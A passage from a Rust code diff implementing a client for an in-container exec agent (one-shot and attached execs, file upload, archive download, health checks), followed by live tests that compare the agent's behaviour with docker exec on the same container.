+) -> Result<reqwest::Response, String> {
+    req.send().await.map_err(|e| format!("{}: {}", context, e))
+}
+
+/// Read a response body into memory, refusing past `cap` bytes.
+async fn read_capped(mut resp: reqwest::Response, cap: usize) -> Result<Option<Vec<u8>>, String> {
+    let mut body = Vec::new();
+    while let Some(chunk) = resp
+        .chunk()
+        .await
+        .map_err(|e| format!("Exec output error: {}", e))?
+    {
+        if body.len() + chunk.len() > cap {
+            return Ok(None);
+        }
+        body.extend_from_slice(&chunk);
+    }
+    Ok(Some(body))
+}
+
+/// ExecSpec as the protocol spells it.
+fn spec_json(spec: &ExecSpec) -> serde_json::Map<String, serde_json::Value> {
+    let v = serde_json::json!({
+        "cmd": spec.cmd,
+        "user": spec.user,
+        "working_dir": spec.working_dir,
+        "env": spec.env,
+        "tty": spec.tty,
+    });
+    match v {
+        serde_json::Value::Object(m) => m,
+        _ => unreachable!("json! of an object literal is an object"),
+    }
+}
+
+// ── one-shot execs ───────────────────────────────────────────────────────────
+
+#[derive(Deserialize)]
+struct OneshotChunk {
+    s: String,
+    d: String,
+}
+
+#[derive(Deserialize)]
+struct OneshotResponse {
+    chunks: Vec<OneshotChunk>,
+    exit_code: i64,
+}
+
+/// `POST /v1/exec`, reassembled into the same [`OneshotOutput`] the Docker
+/// path builds. Like Docker's one-shot, there is no tty, stdin is empty, and
+/// the working directory is the container's default.
+async fn exec_oneshot_raw(
+    ep: &AgentEndpoint,
+    user: &str,
+    cmd: Vec<String>,
+    env: Vec<String>,
+    limit: usize,
+) -> Result<OneshotOutput, String> {
+    const CONTEXT: &str = "Failed to start exec";
+    let spec = ExecSpec::new(cmd).user(user).working_dir(None).env(env).tty(false);
+    let mut body = spec_json(&spec);
+    body.insert("limit".into(), serde_json::json!(limit));
+
+    let resp = send(
+        CONTEXT,
+        http()
+            .post(ep.url("v1/exec"))
+            .header(reqwest::header::AUTHORIZATION, ep.auth())
+            .json(&body),
+    )
+    .await?;
+
+    let status = resp.status();
+    if status == reqwest::StatusCode::PAYLOAD_TOO_LARGE {
+        // Verbatim when it is the limit message (callers match on
+        // OUTPUT_LIMIT_MARKER); anything else the agent puts in a 413 is not
+        // trusted to speak for it.
+        return Err(error_text(resp)
+            .await
+            .filter(|e| e.starts_with(OUTPUT_LIMIT_MARKER))
+            .unwrap_or_else(|| output_limit_error(limit)));
+    }
+    if !status.is_success() {
+        return Err(status_error(CONTEXT, resp).await);
+    }
+
+    // The agent enforces `limit`, but this is container-controlled input
+    // being buffered into the host, so the client bounds it too: base64 is
+    // 4/3 of the payload and each chunk carries a few bytes of JSON, so a
+    // body past this is over the limit however it was chunked.
+    let cap = limit.saturating_mul(8).saturating_add(64 * 1024);
+    let raw = read_capped(resp, cap)
+        .await?
+        .ok_or_else(|| output_limit_error(limit))?;
+    let parsed: OneshotResponse = serde_json::from_slice(&raw)
+        .map_err(|e| format!("Exec output error: malformed agent response: {}", e))?;
+
+    let mut out = OneshotOutput::new();
+    let b64 = base64::engine::general_purpose::STANDARD;
+    for chunk in parsed.chunks {
+        let from_stdout = match chunk.s.as_str() {
+            "out" => true,
+            "err" => false,
+            other => {
+                return Err(format!(
+                    "Exec output error: unknown stream {:?} in agent response",
+                    other
+                ))
+            }
+        };
+        let bytes = b64
+            .decode(chunk.d.as_bytes())
+            .map_err(|e| format!("Exec output error: bad base64 from agent: {}", e))?;
+        out.push(from_stdout, &bytes, limit)?;
+    }
+    out.exit_code = parsed.exit_code;
+    Ok(out)
+}
+
+/// Combined output and exit code under `limit` — `exec_oneshot_limited` and,
+/// with [`MAX_ONESHOT_OUTPUT`], every other combined-output variant.
+pub async fn exec_oneshot_limited(
+    ep: &AgentEndpoint,
+    user: &str,
+    cmd: Vec<String>,
+    env: Vec<String>,
+    limit: usize,
+) -> Result<(String, i64), String> {
+    let out = exec_oneshot_raw(ep, user, cmd, env, limit).await?;
+    Ok((out.text(), out.exit_code))
+}
+
+/// `exec_oneshot_as`: combined output under [`MAX_ONESHOT_OUTPUT`].
+pub async fn exec_oneshot_as(
+    ep: &AgentEndpoint,
+    user: &str,
+    cmd: Vec<String>,
+    env: Vec<String>,
+) -> Result<(String, i64), String> {
+    exec_oneshot_limited(ep, user, cmd, env, MAX_ONESHOT_OUTPUT).await
+}
+
+/// `exec_oneshot_streams_as`: `(stdout, stderr, exit_code)`.
+pub async fn exec_oneshot_streams_as(
+    ep: &AgentEndpoint,
+    user: &str,
+    cmd: Vec<String>,
+    env: Vec<String>,
+) -> Result<(String, String, i64), String> {
+    let out = exec_oneshot_raw(ep, user, cmd, env, MAX_ONESHOT_OUTPUT).await?;
+    Ok((out.stdout(), out.stderr(), out.exit_code))
+}
+
+// ── detached execs, status, resize ───────────────────────────────────────────
+
+#[derive(Deserialize)]
+struct ExecIdResponse {
+    exec_id: String,
+}
+
+pub async fn exec_detached(ep: &AgentEndpoint, spec: &ExecSpec) -> Result<String, String> {
+    const CONTEXT: &str = "Failed to start exec";
+    let resp = send(
+        CONTEXT,
+        http()
+            .post(ep.url("v1/exec/detached"))
+            .timeout(SMALL_REQUEST_TIMEOUT)
+            .header(reqwest::header::AUTHORIZATION, ep.auth())
+            .json(&spec_json(spec)),
+    )
+    .await?;
+    if !resp.status().is_success() {
+        return Err(status_error(CONTEXT, resp).await);
+    }
+    small_json::<ExecIdResponse>(resp)
+        .await
+        .map(|r| r.exec_id)
+        .ok_or_else(|| format!("{}: malformed agent response", CONTEXT))
+}
+
+#[derive(Deserialize)]
+struct ExecStatus {
+    running: bool,
+    exit_code: Option<i64>,
+}
+
+/// Exit codes attach streams saw in their `exit` frame, so `wait_exec_exit`
+/// can answer without a round trip. Bounded: a long-running app opens many
+/// sessions, and the agent keeps the same answer for ten minutes anyway.
+struct ExitBook {
+    codes: HashMap<(String, String), i64>,
+    order: VecDeque<(String, String)>,
+}
+
+const EXIT_BOOK_CAP: usize = 256;
+
+fn exit_book() -> &'static Mutex<ExitBook> {
+    static BOOK: OnceLock<Mutex<ExitBook>> = OnceLock::new();
+    BOOK.get_or_init(|| {
+        Mutex::new(ExitBook {
+            codes: HashMap::new(),
+            order: VecDeque::new(),
+        })
+    })
+}
+
+fn record_exit(base_url: &str, exec_id: &str, code: i64) {
+    let key = (base_url.to_string(), exec_id.to_string());
+    let mut book = exit_book().lock().unwrap_or_else(|p| p.into_inner());
+    if book.codes.insert(key.clone(), code).is_none() {
+        book.order.push_back(key);
+        while book.order.len() > EXIT_BOOK_CAP {
+            if let Some(old) = book.order.pop_front() {
+                book.codes.remove(&old);
+            }
+        }
+    }
+}
+
+fn recorded_exit(base_url: &str, exec_id: &str) -> Option<i64> {
+    let book = exit_book().lock().unwrap_or_else(|p| p.into_inner());
+    book.codes
+        .get(&(base_url.to_string(), exec_id.to_string()))
+        .copied()
+}
+
+/// Poll `GET /v1/exec/{id}` with Docker's budget. `None` on any error, an
+/// unknown id, a finished exec with no code, or the budget running out —
+/// exactly where `docker::exec::wait_for_exec_exit` says `None`.
+pub async fn wait_exec_exit(ep: &AgentEndpoint, exec_id: &str) -> Option<i64> {
+    // Docker's budget is a number of polls; bound the wall clock too, so a
+    // slow-answering agent cannot stretch it (each poll is also bounded).
+    let budget = EXEC_EXIT_POLL_INTERVAL * EXEC_EXIT_POLLS as u32 + SMALL_REQUEST_TIMEOUT;
+    tokio::time::timeout(budget, wait_exec_exit_polls(ep, exec_id)).await.ok()?
+}
+
+async fn wait_exec_exit_polls(ep: &AgentEndpoint, exec_id: &str) -> Option<i64> {
+    if let Some(code) = recorded_exit(ep.base_url.as_str(), exec_id) {
+        return Some(code);
+    }
+    let url = ep.url(&format!("v1/exec/{}", urlencode_segment(exec_id)));
+    for _ in 0..EXEC_EXIT_POLLS {
+        if let Some(code) = recorded_exit(ep.base_url.as_str(), exec_id) {
+            return Some(code);
+        }
+        let resp = http()
+            .get(url.clone())
+            .timeout(SMALL_REQUEST_TIMEOUT)
+            .header(reqwest::header::AUTHORIZATION, ep.auth())
+            .send()
+            .await
+            .ok()?;
+        if !resp.status().is_success() {
+            return None;
+        }
+        let status: ExecStatus = small_json(resp).await?;
+        if !status.running {
+            return status.exit_code;
+        }
+        tokio::time::sleep(EXEC_EXIT_POLL_INTERVAL).await;
+    }
+    None
+}
+
+pub async fn resize_exec(ep: &AgentEndpoint, exec_id: &str, cols: u16, rows: u16) -> Result<(), String> {
+    const CONTEXT: &str = "Failed to resize exec";
+    let resp = send(
+        CONTEXT,
+        http()
+            .post(ep.url(&format!("v1/exec/{}/resize", urlencode_segment(exec_id))))
+            .timeout(SMALL_REQUEST_TIMEOUT)
+            .header(reqwest::header::AUTHORIZATION, ep.auth())
+            .json(&serde_json::json!({ "cols": cols, "rows": rows })),
+    )
+    .await?;
+    if !resp.status().is_success() {
+        return Err(status_error(CONTEXT, resp).await);
+    }
+    Ok(())
+}
+
+/// Exec ids come from the agent; escape them anyway so one can never turn
+/// into a different path.
+fn urlencode_segment(s: &str) -> String {
+    url::form_urlencoded::byte_serialize(s.as_bytes()).collect()
+}
+
+// ── attach ───────────────────────────────────────────────────────────────────
+
+type Ws = tokio_tungstenite::WebSocketStream<
+    tokio_tungstenite::MaybeTlsStream<tokio::net::TcpStream>,
+>;
+
+#[derive(Deserialize)]
+struct ControlFrame {
+    #[serde(rename = "type")]
+    kind: String,
+    exec_id: Option<String>,
+    code: Option<i64>,
+    error: Option<String>,
+}
+
+/// What the stdin writer hands the socket task.
+enum StdinCmd {
+    Data(Bytes),
+    Close,
+}
+
+/// Open `GET /v1/attach` and authenticate. Shared by attach (and, later,
+/// tunnels).
+async fn connect_ws(ep: &AgentEndpoint, path: &str, context: &str) -> Result<Ws, String> {
+    let mut req = ep
+        .ws_url(path)
+        .as_str()
+        .into_client_request()
+        .map_err(|e| format!("{}: {}", context, e))?;
+    let auth = ep.auth();
+    req.headers_mut()
+        .insert(tokio_tungstenite::tungstenite::http::header::AUTHORIZATION, auth);
+    let config = tokio_tungstenite::tungstenite::protocol::WebSocketConfig::default()
+        .max_message_size(Some(WS_MAX_MESSAGE))
+        .max_frame_size(Some(WS_MAX_MESSAGE));
+    match tokio::time::timeout(
+        CONNECT_TIMEOUT,
+        tokio_tungstenite::connect_async_with_config(req, Some(config), false),
+    )
+    .await
+    {
+        Err(_) => Err(format!("{}: timed out connecting to the agent", context)),
+        Ok(Err(tokio_tungstenite::tungstenite::Error::Http(resp)))
+            if resp.status() == tokio_tungstenite::tungstenite::http::StatusCode::UNAUTHORIZED =>
+        {
+            Err(format!("{}: the agent rejected the credentials (401)", context))
+        }
+        Ok(Err(e)) => Err(format!("{}: {}", context, e)),
+        Ok(Ok((ws, _))) => Ok(ws),
+    }
+}
+
+/// `GET /v1/attach`: the same [`AttachedExec`] Docker hands back.
+///
+/// Output: channel 1 → [`ExecChunk::StdOut`], 2 → [`ExecChunk::StdErr`]; the
+/// `exit` frame ends the stream and is remembered for [`wait_exec_exit`].
+/// Input: each write is one binary frame; `shutdown` sends `close_stdin`.
+/// Dropping both halves closes the socket.
+pub async fn attach(ep: &AgentEndpoint, spec: &ExecSpec) -> Result<AttachedExec, String> {
+    const CONTEXT: &str = "Failed to start exec";
+    let mut ws = connect_ws(ep, "v1/attach", CONTEXT).await?;
+
+    let mut hello = spec_json(spec);
+    hello.insert("attach_stdin".into(), serde_json::json!(spec.attach_stdin));
+    let hello = serde_json::Value::Object(hello).to_string();
+    ws.send(Message::text(hello))
+        .await
+        .map_err(|e| format!("{}: {}", CONTEXT, e))?;
+
+    let exec_id = match tokio::time::timeout(ATTACH_START_TIMEOUT, wait_started(&mut ws)).await {
+        Err(_) => return Err(format!("{}: the agent did not start the command", CONTEXT)),
+        Ok(r) => r.map_err(|e| format!("{}: {}", CONTEXT, e))?,
+    };
+
+    let (mut sink, stream) = ws.split();
+
+    // stdin: a bounded queue drained by one task that owns the socket's write
+    // half. The task ends — dropping the write half — when the writer is
+    // dropped or the socket fails.
+    let (tx, mut rx) = tokio::sync::mpsc::channel::<StdinCmd>(STDIN_QUEUE);
+    tokio::spawn(async move {
+        while let Some(cmd) = rx.recv().await {
+            let msg = match cmd {
+                StdinCmd::Data(b) => Message::binary(b),
+                StdinCmd::Close => Message::text(r#"{"type":"close_stdin"}"#),
+            };
+            if sink.send(msg).await.is_err() {
+                break;
+            }
+        }
+    });
+
+    let base_url = ep.base_url.as_str().to_string();
+    let id_for_stream = exec_id.clone();
+    let output = futures_util::stream::unfold(Some(stream), move |state| {
+        let base_url = base_url.clone();
+        let exec_id = id_for_stream.clone();
+        async move {
+            let mut stream = state?;
+            loop {
+                match stream.next().await? {
+                    Err(e) => return Some((Err(format!("Exec output error: {}", e)), None)),
+                    Ok(Message::Binary(b)) => {
+                        if b.is_empty() {
+                            continue;
+                        }
+                        let payload = b.slice(1..);
+                        let chunk = match b[0] {
+                            1 => ExecChunk::StdOut(payload),
+                            2 => ExecChunk::StdErr(payload),
+                            _ => ExecChunk::Other(payload),
+                        };
+                        return Some((Ok(chunk), Some(stream)));
+                    }
+                    Ok(Message::Text(t)) => {
+                        let frame: ControlFrame = match serde_json::from_str(t.as_str()) {
+                            Ok(f) => f,
+                            Err(_) => continue,
+                        };
+                        match frame.kind.as_str() {
+                            "exit" => {
+                                if let Some(code) = frame.code {
+                                    record_exit(&base_url, &exec_id, code);
+                                }
+                                return None;
+                            }
+                            "error" => {
+                                let e = frame.error.unwrap_or_else(|| "agent error".into());
+                                return Some((Err(format!("Exec output error: {}", e)), None));
+                            }
+                            _ => continue,
+                        }
+                    }
+                    Ok(Message::Close(_)) => return None,
+                    Ok(_) => continue,
+                }
+            }
+        }
+    });
+
+    Ok(AttachedExec {
+        exec_id,
+        output: Box::pin(output),
+        input: Box::pin(AttachInput {
+            tx: PollSender::new(tx),
+            close_sent: false,
+        }),
+    })
+}
+
+/// Read until the agent says `started` (its exec id) or `error`.
+async fn wait_started(ws: &mut Ws) -> Result<String, String> {
+    while let Some(msg) = ws.next().await {
+        match msg.map_err(|e| e.to_string())? {
+            Message::Text(t) => {
+                let frame: ControlFrame = serde_json::from_str(t.as_str())
+                    .map_err(|e| format!("malformed agent frame: {}", e))?;
+                match frame.kind.as_str() {
+                    "started" => {
+                        return frame
+                            .exec_id
+                            .ok_or_else(|| "agent sent no exec id".to_string())
+                    }
+                    "error" => {
+                        return Err(frame.error.unwrap_or_else(|| "agent error".into()))
+                    }
+                    _ => continue,
+                }
+            }
+            Message::Close(_) => break,
+            _ => continue,
+        }
+    }
+    Err("the agent closed the connection before starting the command".to_string())
+}
+
+/// An attach's stdin.
+struct AttachInput {
+    tx: PollSender<StdinCmd>,
+    close_sent: bool,
+}
+
+fn broken_pipe() -> io::Error {
+    io::Error::new(io::ErrorKind::BrokenPipe, "agent connection closed")
+}
+
+impl AsyncWrite for AttachInput {
+    fn poll_write(
+        self: Pin<&mut Self>,
+        cx: &mut Context<'_>,
+        buf: &[u8],
+    ) -> Poll<io::Result<usize>> {
+        let this = self.get_mut();
+        if buf.is_empty() {
+            return Poll::Ready(Ok(0));
+        }
+        if this.close_sent {
+            return Poll::Ready(Err(broken_pipe()));
+        }
+        match this.tx.poll_reserve(cx) {
+            Poll::Pending => Poll::Pending,
+            Poll::Ready(Err(_)) => Poll::Ready(Err(broken_pipe())),
+            Poll::Ready(Ok(())) => {
+                // One frame per write, at most STDIN_FRAME_MAX; `write_all`
+                // loops for the rest. Keeps every frame under the agent's
+                // WebSocket message limit.
+                let n = buf.len().min(STDIN_FRAME_MAX);
+                this.tx
+                    .send_item(StdinCmd::Data(Bytes::copy_from_slice(&buf[..n])))
+                    .map_err(|_| broken_pipe())?;
+                Poll::Ready(Ok(n))
+            }
+        }
+    }
+
+    /// Frames are flushed by the socket task as it sends them.
+    fn poll_flush(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll<io::Result<()>> {
+        Poll::Ready(Ok(()))
+    }
+
+    /// EOF on the child's stdin: `{"type":"close_stdin"}`, once.
+    fn poll_shutdown(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<io::Result<()>> {
+        let this = self.get_mut();
+        if this.close_sent {
+            return Poll::Ready(Ok(()));
+        }
+        match this.tx.poll_reserve(cx) {
+            Poll::Pending => Poll::Pending,
+            Poll::Ready(Err(_)) => Poll::Ready(Err(broken_pipe())),
+            Poll::Ready(Ok(())) => {
+                this.tx.send_item(StdinCmd::Close).map_err(|_| broken_pipe())?;
+                this.close_sent = true;
+                Poll::Ready(Ok(()))
+            }
+        }
+    }
+}
+
+// ── files ────────────────────────────────────────────────────────────────────
+
+/// `(uid, gid)` of `claude`, falling back to `(1000, 1000)` — the same probe
+/// and parse as Docker's `container_user_ids`.
+pub async fn user_ids(ep: &AgentEndpoint) -> (u64, u64) {
+    let (out, _) = exec_oneshot_limited(ep, "claude", user_ids_cmd(), Vec::new(), USER_IDS_OUTPUT_LIMIT)
+        .await
+        .unwrap_or_default();
+    parse_user_ids(&out)
+}
+
+/// Split Docker's tar-entry `name` (which may carry a relative directory, as
+/// the terminal drop's `triple-c-drops/<file>` does) into the `dir` and
+/// single-component `name` `PUT /v1/files` takes. Docker's extractor would
+/// put the file at the same place.
+fn split_upload_target(dest_dir: &str, file_name: &str) -> Result<(String, String), String> {
+    let parts: Vec<&str> = file_name.split('/').filter(|p| !p.is_empty()).collect();
+    let Some((name, parents)) = parts.split_last() else {
+        return Err(format!("Failed to upload file to container: empty file name {:?}", file_name));
+    };
+    if parts.iter().any(|p| *p == "." || *p == "..") {
+        return Err(format!(
+            "Failed to upload file to container: {:?} is not a plain relative name",
+            file_name
+        ));
+    }
+    let mut dir = dest_dir.trim_end_matches('/').to_string();
+    for p in parents {
+        dir.push('/');
+        dir.push_str(p);
+    }
+    if dir.is_empty() {
+        dir.push('/');
+    }
+    Ok((dir, name.to_string()))
+}
+
+async fn put_file(
+    ep: &AgentEndpoint,
+    dest_dir: &str,
+    file_name: &str,
+    data: Vec<u8>,
+    mode: u32,
+    (uid, gid): (u64, u64),
+) -> Result<(), String> {
+    const CONTEXT: &str = "Failed to upload file to container";
+    let (dir, name) = split_upload_target(dest_dir, file_name)?;
+    let mut url = ep.url("v1/files");
+    url.query_pairs_mut()
+        .append_pair("dir", &dir)
+        .append_pair("name", &name)
+        .append_pair("mode", &format!("{:o}", mode))
+        .append_pair("uid", &uid.to_string())
+        .append_pair("gid", &gid.to_string());
+    // Generous, but finite: a minute plus 256 KiB/s for the payload.
+    let timeout = Duration::from_secs(60 + (data.len() as u64) / (256 * 1024));
+    let resp = send(
+        CONTEXT,
+        http()
+            .put(url)
+            .timeout(timeout)
+            .header(reqwest::header::AUTHORIZATION, ep.auth())
+            .header(reqwest::header::CONTENT_TYPE, "application/octet-stream")
+            .body(data),
+    )
+    .await?;
+    if !resp.status().is_success() {
+        return Err(status_error(CONTEXT, resp).await);
+    }
+    Ok(())
+}
+
+/// Docker's `upload_bytes_with_ids`: same reported path.
+pub async fn upload_bytes_with_ids(
+    ep: &AgentEndpoint,
+    dest_dir: &str,
+    file_name: &str,
+    data: &[u8],
+    mode: u32,
+    ids: (u64, u64),
+) -> Result<String, String> {
+    put_file(ep, dest_dir, file_name, data.to_vec(), mode, ids).await?;
+    Ok(format!("{}/{}", dest_dir.trim_end_matches('/'), file_name))
+}
+
+/// Docker's `upload_host_file_with_ids`: the host file is read (and checked)
+/// by the same function, mode 0644, same reported path.
+pub async fn upload_host_file_with_ids(
+    ep: &AgentEndpoint,
+    host_path: &str,
+    dest_dir: &str,
+    dest_name: &str,
+    ids: (u64, u64),
+) -> Result<String, String> {
+    let path = host_path.to_string();
+    let data = tokio::task::spawn_blocking(move || read_host_file_for_upload(&path))
+        .await
+        .map_err(|e| format!("Upload task panicked: {}", e))??;
+    put_file(ep, dest_dir, dest_name, data, HOST_FILE_UPLOAD_MODE, ids).await?;
+    Ok(container_join(dest_dir, dest_name))
+}
+
+/// `GET /v1/archive`, streamed. Dropping the stream drops the response,
+/// which closes the connection and cancels the read on the agent.
+pub fn download_archive(ep: &AgentEndpoint, path: &str) -> ArchiveStream {
+    const CONTEXT: &str = "Failed to download archive";
+    let mut url = ep.url("v1/archive");
+    url.query_pairs_mut().append_pair("path", path);
+    let req = http()
+        .get(url)
+        .header(reqwest::header::AUTHORIZATION, ep.auth());
+
+    enum State {
+        Start(reqwest::RequestBuilder),
+        Body(reqwest::Response),
+    }
+    Box::pin(futures_util::stream::unfold(
+        Some(State::Start(req)),
+        |state| async move {
+            let mut resp = match state? {
+                State::Start(req) => match req.send().await {
+                    Err(e) => return Some((Err(format!("{}: {}", CONTEXT, e)), None)),
+                    Ok(r) if !r.status().is_success() => {
+                        return Some((Err(status_error(CONTEXT, r).await), None))
+                    }
+                    Ok(r) => r,
+                },
+                State::Body(r) => r,
+            };
+            loop {
+                match resp.chunk().await {
+                    Err(e) => return Some((Err(format!("{}: {}", CONTEXT, e)), None)),
+                    Ok(None) => return None,
+                    Ok(Some(b)) if b.is_empty() => continue,
+                    Ok(Some(b)) => return Some((Ok(b), Some(State::Body(resp)))),
+                }
+            }
+        },
+    ))
+}
+
+// ── state ────────────────────────────────────────────────────────────────────
+
+/// `GET /v1/health` answers → `true`. Can't connect (or times out) → `false`,
+/// the same "not running" an inspect failure gives on Docker. An agent that
+/// answers with an error status is reachable but unusable, which is an
+/// `Err` rather than a quiet `false`.
+pub async fn is_running(ep: &AgentEndpoint) -> Result<bool, String> {
+    let resp = match http()
+        .get(ep.url("v1/health"))
+        .header(reqwest::header::AUTHORIZATION, ep.auth())
+        .timeout(HEALTH_TIMEOUT)
+        .send()
+        .await
+    {
+        Ok(r) => r,
+        Err(_) => return Ok(false),
+    };
+    if !resp.status().is_success() {
+        return Err(status_error("Agent health check failed", resp).await);
+    }
+    Ok(true)
+}
+
+#[cfg(test)]
+mod tests;
+#[cfg(test)]
+mod live_tests;

app/src-tauri/src/host/agent/live_tests.rs

@@ -0,0 +1,265 @@
+//! The real agent against `docker exec`, in one real container: every
+//! operation goes through `ContainerTarget::Docker` and
+//! `ContainerTarget::Agent` on the *same* container and must come back the
+//! same. That is the agent protocol's whole requirement ("Docker parity is the
+//! requirement"), checked end to end rather than against a fake.
+//!
+//! Needs a Docker daemon and an image whose entrypoint starts the agent:
+//! `TRIPLEC_AGENT_E2E_IMAGE`, default `tc-agent-e2e:latest` (the sandbox image
+//! plus this branch's `entrypoint.sh` and `triple-c-agent`).
+
+use super::*;
+use crate::host::{ContainerTarget, ExecChunk, ExecSpec, OUTPUT_LIMIT_MARKER};
+use futures_util::StreamExt;
+use std::process::Command;
+use std::time::Duration;
+use tokio::io::AsyncWriteExt;
+
+fn docker_cli(args: &[&str]) -> String {
+    let out = Command::new("docker").args(args).output().expect("docker cli");
+    assert!(out.status.success(), "docker {:?}: {}", args, String::from_utf8_lossy(&out.stderr));
+    String::from_utf8_lossy(&out.stdout).trim().to_string()
+}
+
+fn sh(script: &str) -> Vec<String> {
+    vec!["sh".into(), "-c".into(), script.into()]
+}
+
+/// Drain an attached exec: (stdout, stderr).
+async fn drain(exec: crate::host::AttachedExec) -> (String, String) {
+    let mut out = exec.output;
+    let (mut o, mut e) = (Vec::new(), Vec::new());
+    let collect = async {
+        while let Some(chunk) = out.next().await {
+            match chunk {
+                Ok(ExecChunk::StdOut(b)) => o.extend_from_slice(&b),
+                Ok(ExecChunk::StdErr(b)) => e.extend_from_slice(&b),
+                Ok(ExecChunk::Other(_)) => {}
+                Err(_) => break,
+            }
+        }
+    };
+    tokio::time::timeout(Duration::from_secs(20), collect).await.expect("attach output ended");
+    (String::from_utf8_lossy(&o).into_owned(), String::from_utf8_lossy(&e).into_owned())
+}
+
+/// Fail with both answers side by side.
+fn same<T: PartialEq + std::fmt::Debug>(what: &str, docker: T, agent: T) -> Result<(), String> {
+    if docker == agent {
+        Ok(())
+    } else {
+        Err(format!("{what} differs\n  docker: {docker:?}\n  agent:  {agent:?}"))
+    }
+}
+
+async fn parity(d: &ContainerTarget, a: &ContainerTarget) -> Result<(), String> {
+    // ── one-shot ─────────────────────────────────────────────────────────────
+    let script = sh("echo out1; echo err1 >&2; echo out2; exit 3");
+    same(
+        "streams + exit code",
+        d.exec_oneshot_streams_as("claude", script.clone(), vec![]).await?,
+        a.exec_oneshot_streams_as("claude", script, vec![]).await?,
+    )?;
+
+    for user in ["claude", "root"] {
+        let env = sh("env | sort");
+        let strip = |s: String| -> String {
+            // `docker exec` inherits the container's configured env, which in
+            // this harness carries the agent's settings (the token included —
+            // the local-harness trade-off entrypoint.sh documents). The agent
+            // never passes its own settings on.
+            s.lines().filter(|l| !l.starts_with("TRIPLEC_AGENT_")).collect::<Vec<_>>().join("\n")
+        };
+        let (de, dc) = d.exec_oneshot_as(user, env.clone(), vec![]).await?;
+        let (ae, ac) = a.exec_oneshot_as(user, env, vec![]).await?;
+        same(&format!("environment as {user}"), (strip(de), dc), (strip(ae), ac))?;
+    }
+
+    same("default working dir", d.exec_oneshot(vec!["pwd".into()]).await?, a.exec_oneshot(vec!["pwd".into()]).await?)?;
+
+    let probe = sh("echo \"$FOO|$HOME|$USER|$(id -un)\"");
+    let env = vec!["FOO=bar".to_string(), "HOME=/tmp".to_string()];
+    same(
+        "env overrides",
+        d.exec_oneshot_env_status(probe.clone(), env.clone()).await?,
+        a.exec_oneshot_env_status(probe, env).await?,
+    )?;
+
+    same("user ids", d.user_ids().await, a.user_ids().await)?;
+
+    // Signal state: an exec starts with nothing ignored or blocked, whatever
+    // the process that launched it had (the entrypoint's supervisor ignores
+    // SIGHUP; that must not turn every exec into `nohup`).
+    let sigs = sh("grep -E '^Sig(Ign|Blk):' /proc/self/status");
+    same("signal dispositions/mask", d.exec_oneshot(sigs.clone()).await?, a.exec_oneshot(sigs).await?)?;
+
+    // Stdio belongs to the exec user, as runc arranges: re-opening it by
+    // name works for a non-root user.
+    let reopen = sh("echo out > /dev/stdout; echo err > /dev/stderr");
+    same(
+        "re-opening stdio by name as claude",
+        d.exec_oneshot_streams_as("claude", reopen.clone(), vec![]).await?,
+        a.exec_oneshot_streams_as("claude", reopen, vec![]).await?,
+    )?;
+
+    let flood = sh("head -c 100000 /dev/zero");
+    let de = d.exec_oneshot_limited("claude", flood.clone(), 1000).await.unwrap_err();
+    let ae = a.exec_oneshot_limited("claude", flood, 1000).await.unwrap_err();
+    if !de.starts_with(OUTPUT_LIMIT_MARKER) {
+        return Err(format!("docker limit error: {de}"));
+    }
+    same("output limit error", de, ae)?;
+
+    let (_, dcode) = d.exec_oneshot_env_status(vec!["no-such-binary-tc".into()], vec![]).await?;
+    let (_, acode) = a.exec_oneshot_env_status(vec!["no-such-binary-tc".into()], vec![]).await?;
+    same("missing binary exit code", dcode, acode)?;
+
+    // ── files ────────────────────────────────────────────────────────────────
+    let ids = d.user_ids().await;
+    d.upload_bytes_with_ids("/tmp", "via-docker.txt", b"hello\n", 0o640, ids).await?;
+    a.upload_bytes_with_ids("/tmp", "via-agent.txt", b"hello\n", 0o640, ids).await?;
+    let stat = |n: &str| sh(&format!("stat -c '%a %u %g %s' /tmp/{n} && cat /tmp/{n}"));
+    same(
+        "uploaded file (mode, owner, size, content)",
+        d.exec_oneshot(stat("via-docker.txt")).await?,
+        a.exec_oneshot(stat("via-agent.txt")).await?,
+    )?;
+
+    d.exec_oneshot(sh("rm -rf /tmp/arch && mkdir -p /tmp/arch/sub && echo x > /tmp/arch/x && echo y > /tmp/arch/sub/y")).await?;
+    let list = |t: &ContainerTarget| {
+        let mut s = t.download_archive("/tmp/arch");
+        async move {
+            let mut bytes = Vec::new();
+            while let Some(c) = s.next().await {
+                bytes.extend_from_slice(&c?);
+            }
+            let mut names: Vec<(String, Vec<u8>)> = tar::Archive::new(&bytes[..])
+                .entries()
+                .map_err(|e| e.to_string())?
+                .map(|e| {
+                    let mut e = e.unwrap();
+                    let name = e.path().unwrap().to_string_lossy().trim_end_matches('/').to_string();
+                    let mut data = Vec::new();
+                    std::io::Read::read_to_end(&mut e, &mut data).unwrap();
+                    (name, data)
+                })
+                .collect();
+            names.sort();
+            Ok::<_, String>(names)
+        }
+    };
+    same("archive members and contents", list(d).await?, list(a).await?)?;
+
+    // ── attached ─────────────────────────────────────────────────────────────
+    for (label, t) in [("docker", d), ("agent", a)] {
+        let mut exec = t.attach_exec(vec!["head".into(), "-n1".into()], false).await?;
+        exec.input.write_all(b"ping\n").await.map_err(|e| e.to_string())?;
+        exec.input.flush().await.map_err(|e| e.to_string())?;
+        let id = exec.exec_id.clone();
+        let (o, e) = drain(exec).await;
+        same(&format!("{label}: attach echo"), ("ping\n".to_string(), String::new()), (o, e))?;
+        same(&format!("{label}: attach exit"), Some(0), t.wait_exec_exit(&id).await)?;
+    }
+
+    let mut sizes = Vec::new();
+    for t in [d, a] {
+        let exec = t
+            .attach(ExecSpec::new(sh("sleep 1; stty size")).tty(true))
+            .await?;
+        t.resize_exec(&exec.exec_id, 100, 40).await?;
+        let (o, _) = drain(exec).await;
+        sizes.push(o.trim().to_string());
+    }
+    same("tty size after resize", sizes[0].clone(), sizes[1].clone())?;
+    same("tty size value", "40 100".to_string(), sizes[1].clone())?;
+
+    // A tty session whose client goes away ends (SIGHUP), as a dropped
+    // `docker exec -t` does. Only checked through the agent: it is the agent's
+    // disconnect handling under test. Nothing else in this fresh container
+    // runs `sleep 600`, so counting exact matches is the probe.
+    let exec = a.attach(ExecSpec::new(vec!["sleep".into(), "600".into()]).tty(true)).await?;
+    tokio::time::sleep(Duration::from_millis(500)).await;
+    let count = sh("pgrep -xfc 'sleep 600' || true");
+    let before = a.exec_oneshot(count.clone()).await?;
+    drop(exec);
+    let mut after = String::new();
+    for _ in 0..40 {
+        tokio::time::sleep(Duration::from_millis(250)).await;
